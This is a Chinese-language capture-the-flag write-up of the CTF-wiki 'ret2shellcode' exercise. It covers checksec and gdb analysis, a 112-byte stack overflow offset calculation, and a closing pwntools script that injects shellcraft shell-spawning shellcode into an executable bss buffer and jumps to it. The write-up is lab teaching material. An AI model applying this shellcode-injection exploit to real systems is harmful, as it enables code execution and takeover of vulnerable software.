跟着CTF-wiki学pwn——ret2shellcode
链接:
ret2shellcode题解
checksec查看:
no canary=可以简单栈溢出
NX disabled = 将shellcode放在数据段,即可执行
ida查看:
可以输入100个字节,复制到buf2,不能够溢出
原来buf2在bss段,
bss段:一般指程序中未初始化的或者初始化为0的全局变量和静态变量的一块内存区域,特点是可读写,在程序执行之前,bss段清0
是不是可以执行呢
gdb调试:
gdb ret2shellcode disas main b main r vmmap
可以看到0804A080这个地址在上面选中的这个区域内,显示rwxp即可读写的权限。
lea eax,[esp+0x1c] mov DWORD PTR [esp], eax # 可以知道字符串起始地址相较于esp为+0x1c
所以距离ebp地址为0x88-0x1c = 0x6C
那么覆盖到返回地址就是:
+-----------------+
| /bin/sh | 原ret返回位置
+-----------------+
| holk | 原saved ebp位置(4字节)
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
s起始,ebp-0x6C-->+-----------------+
0x6C+4 = 112(十进制)个字节。
知道了溢出字符数了,接下来找system(/bin/sh)
栈溢出题目,有了溢出字符量,有了system(/bin/sh) 即为完成题目,可惜木有…
可以自己构造shellcode【system(/bin/sh)】
shellcode = asm(shellcraft.sh()) 构造payload
from pwn import * sh = process(./ret2shellcode) shellcode = asm(shellcraft.sh()) buf2_addr = 0x804a080 sh.sendline(shellcode.ljust(112, A) + p32(buf2_addr)) sh.interactive()
